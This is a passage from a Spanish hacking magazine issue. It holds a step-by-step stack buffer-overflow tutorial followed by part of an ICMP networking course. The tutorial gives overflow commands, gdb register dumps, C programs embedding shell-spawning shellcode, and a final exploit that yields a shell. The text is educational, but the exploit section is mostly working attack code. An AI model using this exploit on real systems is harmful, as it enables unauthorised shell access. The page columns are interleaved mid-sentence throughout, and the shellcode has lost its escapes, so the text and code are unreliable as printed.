$ ./vuln1 `perl -e'print "A"x1000'` Tu nombre es: Tu nombre es: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA NOTA: Habrían 513 letras A AAAAAAAAAAAAAAAAA NOTA: Habrían 1000 letras A SORPRESA!!!, el programa es capaz de digerir 513 bytes. Segmentation fault (core dumped) Llegados aquí deberemos tantear un poco incrementando HECHO!!!, acabamos de conseguir que nuestro programa ligeramente el valor hasta encontrar la frontera, en mi falle y que se produzca un volcado de memoria caso la frontera la he encontrado en 524, 12 bytes más ---->Segmentation fault (core dumped). Con suerte arriba. habremos generado un archivo core en nuestro directorio de trabajo, para verificarlo ejecuta el comando ls. Este hecho, me desconcertó y me puse a investigar a que podría deberse, para ello cambié la definición de la variable buff utilizando tres valores distintos y tanteando las fronteras ! Si por alguna razón... de cada uno de ellos, estos fueros mis resultados: Si por alguna razón no se ha generado el archivo core, es probable Long. de la variable buff Frontera del Core Dumped que estés trabajando como root, mala idea. Cámbiate a una --------------------------------------------------------------- cuenta normal, cambia los permisos de todos tus archivos y 10 28 vuélvelo a intentar. 512 524 2048 2060 --------------------------------------------------------------- Si no sabes como cambiar los permisos o tienes problemas, es mejor que vuelvas a empezar desde el principio en tu nuevo Página 8 PC PASO A PASO Nº 23
  • 9. Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow Por lo que concluyo que incluso al definir una variable con Como vemos, este comando nos muestra el contenido de una cantidad dada de bytes, existe una holgura aproximada los registros del microprocesador, justo antes del fallo. de entre unos 12 y 18 bytes. Nosotros estamos interesados, en los registros EBP e EIP. Bueno, con el terreno un poco más firme debajo de nuestro piés, continuemos... Ya sabemos como lograr un Core El primero muestra que su contenido era 0x41414141. Dumped, es decir que hemos descubierto el fallo de Buffer- Recordemos un poco la teoría de la que hablamos al Ovreflow del programa. Ahora veamos qué información comienzo sobre sistemas de numeración. podemos obtener del archivo core (el que genera el sistema al fallar nuestro programa), para ello ejecutaremos el 0x41414141 ¿que es esto?, esta claro, una cifra en depurador: Hexa. ¿Que significa?, eso no está tan claro, diseccionemos para descubrirlo. server1 kublai $ gdb -c core vuln1 GNU gdb 6.0 Primero, dijimos que los ordenadores funcionan con bytes, Copyright 2003 Free Software Foundation, Inc. ahora sabemos que un byte son ocho bits, y que con una ... cifra hexa podemos cubrir cuatro bits, por lo que para This GDB was configured as "i686-pc-linux-gnu"...Using host libthread_db cubrir un byte necesitamos dos cifras hexa. Bajo es library "/lib/libthread_db.so.1". perspectiva el número 0x41414141, puede separarse en Core was generated by `./vuln1 AAAAAAAAAAAAAAAAAAAAAAAAAAAA'. cuatro cifras 41, así pues tenemos 41 41 41 41. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. A continuación intentemos descubrir qué hay detrás de Loaded symbols for /lib/libc.so.6 esto. Primero: "son cuatro cifras iguales". Segundo: ¿Que Reading symbols from /lib/ld-linux.so.2...done. podrán significar? En principio nada, pero si se tiene un Loaded symbols for /lib/ld-linux.so.2 poco de práctica con el código ASCII descubrirás que se #0 0x40035710 in __libc_start_main () from /lib/libc.so.6 trata del equivalente Hexa para el código ASCII de (gdb) la letra A. Una vez dentro del depurador ejecutaremos el comando "info reg", veamos: ! Se trata... (gdb) info reg “se trata del equivalente Hexa para el código ASCII de la eax 0x0 0 letra A” ecx 0x4 4 edx 0x40143fe8 1075068904 ¿No entiendes esta frase? Malo, malo… ya tratamos en números ebx 0x40143a00 1075067392 anteriores el tema del código ASCII. esp 0xbffff780 0xbffff780 ebp 0x41414141 0x41414141 Venga, plan rápido y “a lo bestia”: cada símbolo de tu teclado esi 0x40012020 1073815584 tiene un equivalente numérico y para averiguarlo existe una tabla edi 0xbffff7c4 -1073743932 (la tabla ASCII). eip 0x40035710 0x40035710 eflags 0x10246 66118 Pasa unas cuantas páginas y sitúate al final de este artículo. Te cs 0x23 35 hemos puesto una tabla (una tabla ASCII). ss 0x2b 43 ds 0x2b 43 Fíjate bien que el símbolo A (es decir, la tecla A de tu teclado) es 0x2b 43 tiene en ASCII el valor 65 (te hemos puesto un circulito rojo). fs 0x2b 43 Este valor (el 65) es un valor en “formato decimal”, y fíjate gs 0x2b 43 también que el número 65 traducido a “formato hexadecimal (HEX)” es 41 :) PC PASO A PASO Nº 23 Página 9
  • 10. Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow Desvelemos el misterio (aunque con lo comentado en la Core was generated by `./vuln1 nota anterior ya deberías imaginártelo). Fijémonos en la AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAA'. siguiente tabla y en como se obtiene en código ASCII en Program terminated with signal 11, Segmentation fault. decimal a partir de nuestros datos en Hexa: Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x41414141 in ?? () Finalmente, descubrimos que el número 65 en decimal, corresponde al 41 en Hexa, (0x41). Esto es así si Una vez dentro del depurador ejecutaremos el comando consideramos que debemos descifrar el número en Hexa "info reg", veamos: a partir del número escrito en binario y dividiéndolo en grupos de cuatro cifras binarias por cada cifra Hexa, cosa (gdb) info reg que queda muy clara para la primera cifra y que en el caso eax 0x0 0 de la segunda sería como se muestra a continuación: ecx 0x40141e00 1075060224 Notas como el 1 debajo del edx 0x21 543 4 indica el valor de la cifra ebx 0x40143a00 1075067392 en hexa, el truco consiste esp 0xbffff580 0xbffff580 en pensar que los unos son como puerta que dejan paso ebp 0x41414141 0x41414141 a las potencias de dos de la fila de arriba. Es todo, no esi 0x40012020 1073815584 hablemos más de sistemas numéricos. Considero que es importante conocerlos pero que si abundo en el tema me edi 0xbffff5c4 -1073744444 saldré de contexto. eip 0x41414141 0x41414141 eflags 0x10246 66118 Volvamos a lo nuestro. Como dijimos, la letra A tiene como ... código Hexa el 0x41, por lo que "sin quererlo" hemos gs 0x2b 43 colocado un valor "controlado" en el registro EBP. (gdb) Continuemos… nuestra intención, como dijimos en un principio, no es modificar el contenido del registro EBP sino Ahora sí, hemos conseguido modificar el registro EIP el del registro EIP; pero por suerte, el registro EIP esta colocándolo en el AAAA o, lo que es lo mismo, 0x41414141. solo 4 bytes más allá. Sabemos que la frontera esta en 524 así que si modificamos nuestra línea de comando y Perfecto, ahora podremos apuntar a una dirección conocida ejecutamos: y ejecutar nuestro código, y no se me ocurre algo mejor server1 kublai $ ./vuln1 `perl -e'print "A"x528'` para ejecutar que un shell con permisos de root. Tu nombre es: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA El entendimiento de cómo funciona un ShellCode queda AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA por el momento fuera del contexto de esta guía, pero AAAAAAAAAAAAAAAAAA NOTA: Habrían 528 letras A baste decir que será objeto de otro artículo. Entretanto, Segmentation fault (core dumped) diremos que se trata de una sarta de código en Hexa que para el procesador se entienden como instrucciones y que obtendremos lo siguiente en el depurador: nosotros colocaremos allí donde queramos que apunte server1 kublai $ gdb -c core vuln1 nuestro EIP. GNU gdb 6.0 Copyright 2003 Free Software Foundation, Inc. Como el ShellCode no puede colocarse sin más en la ... memoria deberemos colocarlo primero en un contenedor GDB was configured as "i686-pc-linux-gnu"...Using host libthread_db al que denominaremos EggShell, veamos el código fuente library "/lib/libthread_db.so.1". de este programa. Página 10 PC PASO A PASO Nº 23
  • 11. Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow egg1.c Para finalizar exportamos la variable shell como EGG al entorno y ejecutamos un procesador de comando bash… #include <stdio.h> … ¿ves como es necesario un poquito de C para iluminar #define NOP 0x90 tu mente?... … te lo advertimos en su momento char shellcode[] = Veamos lo que sucede cuando ejecutamos este programa: "x31xc0x31xdbx31xd2x53x68x69x74x79x0ax68x65x63" "x75x72x68x44x4cx20x53x89xe1xb2x0fxb0x04xcdx80" server1 kublai $ ./egg1 "x31xc0x31xdbx31xc9xb0x17xcdx80x31xc0x50x68x6e" Eggshell cargado. "x2fx73x68x68x2fx2fx62x69x89xe3x8dx54x24x08x50x53" bash-2.05b$ "x8dx0cx24xb0x0bxcdx80x31xc0xb0x01xcdx80"; Listo, ya tenemos nuestro código en memoria ahora resta int main(void) ubicarlo y ejecutarlo. Para ello nos serviremos de un { pequeño programa que nos ayudara en esta tarea: char shell[512]; puts("Eggshell cargado."); eggfind.c memset(shell,NOP,512); memcpy(&shell[512-strlen(shellcode)],shellcode,strlen(shellcode)); #include <stdio.h> setenv("EGG", shell, 1); putenv(shell); int main(void) system("bash"); { return(0); printf("0x%lxn", getenv("EGG")); } return 0; } Lo primero que llama la atención es la cadena shellcode una vez compilado (server1 kublai $ gcc eggfind.c -o (en azul). Esta es la parte medular del exploit y lo que eggfind) lo ejecutaremos para obtener: contiene son instrucciones codificadas en ASM y escritas 0xbffff8c5 en formato Hexadecimal. Explicar qué es cada una de estas instrucciones será el motivo de un próximo articulo en el Esta es la dirección en donde se almacena el código de que veremos cómo crear ShellCodes a medida. nuestro shellcode, sin embargo para lanzar el ataque final falta un pequeño detalle, debemos convertir la dirección Por lo pronto, deberá bastarnos con saber que esta cadena a un formato que el registro interprete correctamente: en Hexa, lo que hace es invocar una sesión Shell y proporcionarnos un prompt que tendrá los mismos privilegios 1.- En principio tenemos 1 grupo de 4 bytes: que el programa vuln1, que es el programa que estamos atacando. bf ff f8 c5 Byte1 Byte2 Byte3 Byte4 Las dos primeras líneas de este programa (en verde) no (1 Grupo de 4 Bytes) hacen gran cosa, solo definir una variable y escribir un mensaje en la consola (Eggshell cargado) 2.- Dividimos el grupo de 4 bytes en 2 grupos de 2 bytes cada uno (2bytes hacen un word) La tercera línea memset(shell,NOP,512) lo que hace es rellenar toda la cadena shell con instrucciones NOP. bf ff f8 c5 Byte1 Byte2 Byte3 Byte4 La línea que le sigue memcpy(&shell[512- (Primer Grupo de 2 Bytes) (Segundo Grupo de 2 bytes) strlen(shellcode)],shellcode,strlen(shellcode)) es la que lleva un poco de complicación; pero en realidad, es 3.- En cada grupo intercambiamos el byte alto con el byte bastante sencillo su cometido. Se trata de copiar un grupo bajo, el resultado será: de direcciones de memoria en una ubicación específica, es ff bf c5 f8 este caso estamos escribiendo el valor de la variable Byte2 Byte1 Byte4 Byte3 shellcode, al final de shell. (Primer Grupo de 2 Bytes) (Segundo Grupo de 2 Bytes) PC PASO A PASO Nº 23 Página 11
  • 12. Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow - Buffer - Overflow 4. Finalmente intercambiamos los dos grupos: Un shell para nosotros solos, completito y con todos los C5 f8 ff bf permisos del programa vuln1, para comprobarlo ejecutemos Byte4 Byte3 Byte2 Byte1 el comando id, obtendremos: (Segunto Grupo de 2 Bytes) (Primer Grupo de 2 Bytes) uid=1000(kublai) gid=100(users) groups=100(users),10(wheel),18(audio) sh-2.05b$ Por lo tanto, finalmente obtenemos 0xc5f8ffbf Si es la primera vez que estudias código de exploits de Las razones para este procedimiento, un tanto extraño buffer overflow, debo decirte que aún hay más por entender, que hemos tenido que realizar, son más históricas que como por ejemplo la forma en la que se puede encontrar técnicas, se debe a la forma en que Intel maneja la el segmento ShellCode usando en GBD o la lógica detrás información de los registros. del código del ShellCode. Por ahora es todo, en un próximo a r t i c u l o ve r e m o s e s t o y a l g u n a s c o s a s m á s . Finalmente con todo listo ejecutamos el ataque: Referencias: bash-2.05b$ ./vuln1 `perl -e'print "A"x524'``printf "xc5xf8xffxbf"` El presente artículo esta basado principalmente en la El resultado será el siguiente: información de: Tu nombre es: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA http://www.rosiello.org AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA h t t p : / / w w w. m a t h s . l e e d s . a c . u k / ~ r e a d / b o f s . h t m l AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA http://www.astalavista.com AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Autor Kublai Gómez Soto AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Evos Design S.L. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Ingeniero Electrónico AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Consultor En I.T. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Miembro de Astalavista Security Group. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÅøÿ¿ DL Security sh-2.05b$ TABLA ASCII Página 12 PC PASO A PASO Nº 23
  • 13. ¿QUIERES COLABORAR CON PC PASO A PASO? PC PASO A PASO busca personas que posean conocimientos de informática y deseen publicar sus trabajos. SABEMOS que muchas personas (quizás tu eres una de ellas) han creado textos y cursos para “consumo propio” o “de unos pocos”. SABEMOS que muchas personas tienen inquietudes periodísticas pero nunca se han atrevido a presentar sus trabajos a una editorial. SABEMOS que hay verdaderas “obras de arte” creadas por personas como tu o yo y que nunca verán la luz. PC PASO A PASO desea contactar contigo! NOSOTROS PODEMOS PUBLICAR TU OBRA!!! SI DESEAS MÁS INFORMACIÓN, envíanos un mail a empleo@editotrans.com y te responderemos concretando nuestra oferta.
  • 14. CURSO DE TCP/IP: ICMP (Protocolo de Mensajes de Control de Internet). - ICMP es, posiblemente, el protocola más utilizado por los hackers - ICPM nos dará información MUY VALIOSA sobre el funcionamiento de las conexiones. - Veremos que este protocolo nos permite detectar gusanos y ataques, tracear conexiones, destruir firewalls, degradar servicios, descubrir datos sobre nuestras "victimas"... ... 1. Introducción Por tanto, ICMP es un protocolo de Control (Internet Control Message Protocol), que Imagino que muchos de los lectores que sirve para avisar de los errores en el han seguido fielmente el curso de TCP/IP procesamiento de los datagramas, es desde sus comienzos estaríais esperando decir, de los paquetes IP. que este mes hablase del protocolo IP, Como ICMP funciona sobre IP, los ya que una vez explicados los protocolos paquetes ICMP serán siempre a su vez de transporte clásicos (TCP y UDP) el paquetes IP. Esto podría dar lugar a orden lógico sería llegar a la capa inferior, situaciones en las que se generasen bucles o la capa de red. infinitos donde un paquete ICMP avisa de errores de otro paquete ICMP. Para evitar Pero, para vuestra sorpresa, aún no esto, hay una regla de oro, y es que, vamos a llegar a esa parte tan esperada, aunque los paquetes ICMP sirvan para pero también tan compleja; si no que arreglar errores de otros paquetes, jamás vamos a seguir con el orden lógico, con se enviarán paquetes ICMP para avisar un protocolo que, aunque no sea un de errores en otro paquete ICMP. protocolo de transporte, si que funciona por encima del protocolo IP. Aunque esto suene a trabalenguas, ya iremos viendo en detalle el funcionamiento La diferencia entre ICMP y otros del protocolo ICMP, y se aclararán muchas protocolos que funcionen por encima de cosas. IP (como TCP, UDP, u otros que no hemos Muchos de vosotros conoceréis ya algo mencionado) es que ICMP se considera sobre ICMP, pero quizá alguno se esté casi una parte de IP, y las especificaciones preguntando: “¿Pero realmente es tan estándar de IP obligan a que cualquier importante este protocolo? ¡Si jamás he sistema que implemente el protocolo IP oído hablar de él! ¡Seguro que no se usa tenga también soporte para ICMP. para nada!”. ¿Y por qué es tan importante ICMP para Pues por supuesto que se usa, y mucho, IP? Pues porque IP no es un protocolo aunque es normal que no os suene, 100% fiable (como nada en esta vida), teniendo en cuenta que es un protocolo e ICMP es precisamente el que se encarga que no suele usar la gente en su casita, de manejar los errores ocasionales que si no que es usado sobre todo por los se puedan dar en IP. routers. Página 14 PC PASO A PASO Nº 23
  • 15. Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP Aún así, aunque los paquetes ICMP sean generados normalmente por un router, Aquí podrás encontrar la traducción al español del RFC el receptor del paquete suele ser un 792 (Protocolo ICMP), concretamente en el enlace usuario como tú, así que en realidad sí h t t p : / / w w w. r f c - e s . o r g / g e t f i l e . p h p ? r f c = 0 7 9 2 que estás usando el protocolo ICMP aunque no te des cuenta. No dudes en pasarte por www.rfc-es.org y, si te es posible, participar en su proyecto. Desde esta revista damos las Por ejemplo, cuando intentas acceder a gracias a quienes colaboran de forma totalmente una IP que no existe, normalmente se te desinteresada en este tipo de iniciativas que nos benefician notificará por medio de un mensaje ICMP. a todos. Además, hay también una serie de aplicaciones, como Ping, o Traceroute, El protocolo ICMP consta simplemente de que utilizan ICMP, y en este caso sí que una serie de mensajes totalmente eres tú el que genera los paquetes. independientes que se generan para cada situación de error que se de en el Aparte de todo esto, para nosotros ICMP procesamiento de un paquete IP, o bien es especialmente interesante ya que, tal por otras circunstancias especiales en las y como podéis leer en más de un que un usuario desea conocer cierta documento de los que circulan en la red información sobre una máquina. sobre ICMP, se dice de este protocolo que es mucho más útil para un hacker que Por eso, no hay que andar con complejas para un usuario normal. explicaciones sobre conexiones virtuales, ni nada de nada. Simplemente basta con Para este artículo iré explicando uno a ir explicando cada mensaje por separado. uno los diferentes mensajes ICMP, y contando en cada uno alguna curiosidad un poco más oscura para darle más gracia 2.1. Destino inalcanzable a la cosa (buscad los epígrafes en color rojo). Por último, como era de esperar, (Destination Unreachable) terminaré explicando cómo generar Este es el primer mensaje ICMP, que sirve paquetes ICMP desde cero con las para avisar de un gran número de aplicaciones ya conocidas. situaciones de error, aunque todas con una misma consecuencia: no se ha podido 2. Directamente al grano acceder al destino que se solicitaba. Igual que hacen en el RFC que explica el Cuando intentas acceder a una IP (una protocolo ICMP (RFC 792 : ftp://ftp.rfc- página Web, u otro servidor de cualquier editor.org/in-notes/rfc792.txt), no nos tipo), puede haber muchos motivos por enrollaremos mucho con explicaciones los que no puedas llegar a acceder y, previas, e iremos directamente al grano. siempre que estos motivos tengan que ver directamente con la parte de la que ! Como ya debes... se encarga el protocolo de red (IP), cualquier dificultad que haya te será Como ya debes suponer, los RFCs son documentos escritos notificada mediante un mensaje ICMP de originalmente en inglés. Para quien no domine el idioma, este tipo. contamos con la inestimable ayuda de la Web www.rfc-es.org PC PASO A PASO Nº 23 Página 15
  • 16. Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP Por supuesto, puede haber otros motivos por los que no puedas acceder a los contenidos que buscas. Por ejemplo, al intentar acceder a una página Web, el Servidor Web podría responderte con un error 404 (te recuerdo que expliqué todo esto en mi artículo sobre HTTP en la serie RAW, hace ya unos cuantos números...). Esta situación de error no es responsabilidad de IP y, por tanto, tampoco de ICMP, por lo que este error Por supuesto, me imagino que no no se notificaría mediante un mensaje entendéis ni papa de los contenidos de ICMP, si no que sería responsabilidad del esta tabla. Servidor Web el generar una respuesta de error 404 de HTTP. Explicar todos los códigos en detalle va a ser demasiado (y, realmente, poco Un error que sí que sería responsabilidad interesante), así que explicaré sólo lo de IP al intentar acceder a una página suficiente para que os hagáis una idea de Web sería que la IP del Servidor Web que lo más importante. buscamos no existiese. En primer lugar, no hay que ser muy Hay muchos otros motivos por los que observador para darse cuenta de que la un destino puede ser inalcanzable, como mayoría de los errores están duplicados, veremos en detalle ahora mismo. De refiriéndose siempre o bien a la red, o momento, vamos a ver el formato bien al host. detallado del mensaje: Imaginemos que estamos en una red local, cuyas direcciones IP abarcan desde la 192.168.1.1 hasta la 192.168.1.255, pero en la cual sólo existen tres máquinas: Máquina 1 192.168.1.1 Máquina 2 192.168.1.5 Campo: Type Y máquina 3 192.168.1.100 El primer campo, Type, se encuentra en Si intentamos acceder a la máquina todos los mensajes ICMP, y especifica el 192.168.1.200 recibiremos un mensaje tipo de mensaje. En el caso del mensaje de Host inalcanzable (código 1). La IP Destination Unreachable el tipo de 192.168.1.200 forma parte de una red a mensaje es 3. la que tenemos acceso, pero en cambio Campo: Code ese host concreto no existe en la red. El campo Code permite precisar el motivo por el que el destino es inalcanzable. En cambio, si intentamos acceder en el Según el valor de este campo, podemos mismo escenario a la IP 10.12.200.1, saber el motivo exacto, consultando la estaremos intentando acceder a una red siguiente tabla: que no es la nuestra, por lo que el router Página 16 PC PASO A PASO Nº 23
  • 17. Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP no podrá darnos acceso, y tendrá que cuando se intenta acceder a un protocolo respondernos con un error de Red de transporte que no está implementado inalcanzable (código 0). en el host de destino. Con esta breve explicación de paso he Por ejemplo, si enviamos un paquete UDP explicado los dos primeros códigos. Sólo a una máquina que no tiene implementado queda comentar que el código 1 sólo lo UDP. Como la capa IP es la encargada de enviará el último router dentro del camino reconocer al protocolo de nivel superior, que lleve desde nuestra máquina hasta será responsabilidad suya, y por tanto de el host de destino, ya que éste último ICMP, el notificar de los errores de router será el que sepa qué máquinas protocolos no implementados. en concreto existen dentro de su red. En El mensaje de Puerto inalcanzable cambio, el código 0 puede ser enviado (código 3) se genera cuando se intenta por cualquiera de los routers que haya acceder a un puerto en un protocolo de en el camino entre tu máquina y el host transporte (por ejemplo, TCP o UDP), y de destino, ya que en cualquier punto ese puerto no está accesible en el host del camino se podría detectar que la red de destino. En muchos casos, el propio de destino es inalcanzable. protocolo de transporte se encargará de notificar este error (por ejemplo, en TCP mediante el flag RST), pero siempre que el protocolo de transporte no tenga implementado un mecanismo para notificar esta situación, será responsabilidad de ICMP hacerlo. El mensaje de Paquete demasiado grande, y no puede ser fragmentado (código 4) tiene relación con un campo de la cabecera IP que veremos más adelante en el curso de TCP/IP. Este campo especifica si un paquete puede ser o no En la imagen la máquina H1 solicita fragmentado en trozos más pequeños. acceder a la IP 10.1.2.3 al router R1. En el caso de que esté especificado que Éste pasa la bola a R2, el cual está el paquete no puede ser fragmentado, y conectado a la red 10.x.x.x, donde el paquete sea demasiado grande como debería encontrarse la IP solicitada. Como para ser enviado de una sola vez, el R2 sabe que el host 10.1.2.3 no existe, paquete no podrá ser transmitido. responderá con un mensaje ICMP Host inalcanzable. El mensaje ICMP llegará a De momento con esto creo que tenemos R1, que lo retransmitirá hasta H1. suficiente, que no quiero llenar el artículo entero sólo con el primero de los mensajes Con respecto al siguiente código, ICMP y, al fin y al cabo, ya he explicado Protocolo inalcanzable (código 2), los códigos más comunes. en primer lugar hay que decir que no se Campo: Checksum genera en un router, si no en el propio host de destino. Este error se genera Pues aquí nos encontramos de nuevo con PC PASO A PASO Nº 23 Página 17
  • 18. Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP otro checksum, como los que ya vimos asegurarnos de que se trata de nuestro en anteriores entregas cuando tratamos paquete, se incluyen también los 64 el UDP y TCP. En el artículo anterior primeros bits del campo de DATOS del detallé cómo generar un checksum para datagrama, por lo que el paquete puede TCP, y también como realizar su quedar identificado sin lugar a dudas. comprobación para un paquete recibido. Por ejemplo, imaginemos que enviamos En el caso de ICMP, los checksums (sumas el siguiente paquete: de comprobación) se generan mediante la misma operación, pero en este caso no es necesario añadir una pseudocabecera, si no que directamente la operación se realiza únicamente con todos los bits que componen la cabecera ICMP. En el caso de que este paquete genere, Campo: Unused por ejemplo, un error de Destino inalcanzable, éste será el paquete ICMP Pues eso, ¿qué queréis que os cuente que nos llegará en respuesta: sobre un campo que no se usa? Simplemente lo rellenáis con ceros, y ya está. Campo: Internet Header + 64 bits of original data datagram Aquí ya hay bastante más que decir, ya que además este campo es común a muchos mensajes ICMP. Este campo es especialmente importante, ya que es el que nos permite identificar de forma unívoca a qué datagrama (paquete IP) se refiere el mensaje ICMP. Dentro de la cabecera ICMP podemos ver en verde la copia de la cabecera IP del Como ya he dicho, un paquete ICMP paquete que generó el mensaje, así como puede ser una respuesta a un paquete los primeros datos del campo de DATOS IP que ha generado algún tipo de error. (en azul). También es importante destacar Si nos llegasen paquetes ICMP sin más que, como se ve en la imagen, el número no podríamos saber cuál de nuestros de protocolo asignado a ICMP es el 1. paquetes IP generó el error. Detectando gusanos mediante Por eso, muchos paquetes ICMP llevan Destination Unreachable incluidos en su propia cabecera la cabecera IP del paquete que generó el Como os dije, comentaré algún detalle error. Además, para terminar de curioso sobre cada uno de los mensajes ICMP. Os voy a comentar una posible Página 18 PC PASO A PASO Nº 23
  • 19. Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP señal de alarma en relación con los ser ejecutados para infectar una máquina mensajes Destination Unreachable. (por ejemplo mediante un correo electrónico), si no que basta con que den Si observamos los logs de nuestra con una máquina vulnerable (es decir, conexión... ¿que qué es eso? Pues en un que tenga cierta versión de Windows sin sistema que tenga implementada una parchear). buena política de seguridad es habitual tener un mecanismo de monitorización Por supuesto, si el gusano genera que guarde un registro (un log) de lo que direcciones IP que no existen, recibiremos ocurre con las conexiones de nuestra un mensaje Destination Unreachable máquina. cada vez que el gusano intente infectar En caso de que no tengáis nada de esto una de estas IPs. Por tanto, encontrar montado (sería motivo para varios varios mensajes ICMP de este tipo cuyo artículos el explicar cómo hacerlo bien origen desconocemos puede ser un hecho), podéis hacer pruebas síntoma de que tenemos un visitante no simplemente poniendo en marcha un deseado en nuestro PC. sniffer, como los que he explicado ya en otros artículos (por ejemplo, Iris para No sólo eso, si no que además analizando Windows, o Ethereal o Snort para Linux). en detalle la cabecera ICMP podremos seguramente extraer información acerca Pues como decía, si observamos lo que del gusano, ya que estos mensajes ICMP, ocurre en nuestra conexión con Internet, tal y como acabamos de ver, incluyen en y detectamos que nos llegan una gran su cabecera toda la cabecera IP del cantidad de mensajes ICMP de tipo mensaje que generó el error, así como Destination Unreachable, podría ser los primeros 64 bits de datos. síntoma de que estamos infectados con algún gusano (Worm). Este sistema no es definitivo, por Un gusano es un tipo de virus informático supuesto, ya que no todos los gusanos cuya principal función consiste en utilizan este sistema para buscar víctimas, reproducirse a toda costa al mayor así que el hecho de no recibir mensajes número de víctimas posible. La gran Destination Unreachable no significa mayoría de los virus que existen hoy día ni mucho menos que no podamos estar pueden ser calificados como gusanos, contaminados con algún otro tipo de siendo buenos ejemplos los conocidos gusano más “inteligente”. virus Sasser, MyDoom, etc. Podría comentar muchos otros aspectos Algunos de estos gusanos intentarán oscuros de este tipo de mensajes ICMP, reproducirse por un sistema tan burdo como los ataques Smack, Bloop, como es el generar direcciones IP WinNewK, etc. Pero como el espacio es aleatorias, e intentar acceder a todas limitado, y además tengo que despertar ellas para tratar de infectar una nueva un poco en vosotros la capacidad y el máquina. ánimo de investigar por vuestra cuenta, ahí os he dejado los nombres, para que Esto es especialmente útil en gusanos vuestro amigo Google os dé más detalles. como el Sasser (y, de hecho, el Sasser utiliza este sistema), que no necesitan PC PASO A PASO Nº 23 Página 19
  • 20. Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP - Protocolo ICMP Path MTU Discovery (P-MTU-D) tamaño de MTU utilizar ya que, no sólo cada una de las dos máquinas tendrá una Una aplicación importante de los mensajes MTU diferente, si no que también podrían Destination Unreachable, es el proceso tener MTUs diferentes cada uno de los de Path MTU Discovery. routers que se encuentran en el camino Ya sabemos que entre dos máquinas que entre las dos máquinas. se comunican suele haber varias Cuando un router se encuentra con un máquinas intermedias, que actúan como paquete cuyo tamaño es mayor que el de routers para encaminar los paquetes su MTU, tendrá que fragmentarlo en entre ambas máquinas. trozos más pequeños que sí que quepan El problema es que cada máquina de en su MTU. todas las involucradas en el proceso (incluyendo las máquinas de origen y El problema con esto es que la destino) puede tener una configuración fragmentación es muy poco deseable, por y unas características diferentes. Esto da motivos que explicaré a lo largo del curso, lugar a que haya máquinas preparadas por lo que conviene evitarla. Para poder para manejar paquetes más o menos evitar la fragmentación, una buena idea grandes. consiste en conseguir un acuerdo sobre el tamaño máximo de los paquetes entre El tamaño máximo de paquete que puede todas las máquinas involucradas en la manejar una máquina se denomina MTU conexión. (Max Transmission Unit), y depende de la tecnología utilizada, tal y como veremos El mecanismo para conseguir este acuerdo cuando hablemos sobre el nivel de enlace se denomina Path MTU Discovery, y a lo largo del curso. viene detallado en el RFC 1191. Por ejemplo, una tecnología Ethernet utiliza una MTU de 1500 Bytes, mientras A grandes rasgos, lo que se hace es enviar que en X.25 se utiliza una MTU de sólo un paquete demasiado grande, pero 576 Bytes. Pero bueno, ya explicaremos forzando a que no sea fragmentado esto en otro número... (mediante una opción que se puede especificar en la cabecera IP). Si alguna De momento, tenemos que tener la idea máquina del camino del paquete no puede intuitiva de lo que es la MTU que, por manejar un paquete tan grande, al no cierto, está bastante relacionada con el poder tampoco fragmentarlo no le quedará MSS, es decir, el tamaño máximo de más remedio que responder con un ICMP segmento que vimos en TCP. El tamaño Destination Unreachable Code 4. A máximo de segmento indica el tamaño partir de ahí, se irá repitiendo el proceso máximo del campo de datos de un con diferentes tamaños de paquete, hasta paquete TCP, el cual estará directamente que se de con un tamaño que sí que sea relacionado con el tamaño de MTU de la aceptado por todas las máquinas. máquina que envió el paquete TCP. Este tamaño máximo para todo el camino Si queremos que funcione correctamente que se ha encontrado se denomina una comunicación entre dos máquinas precisamente Path MTU. tendrá que haber un acuerdo sobre qué Página 20 PC PASO A PASO Nº 23
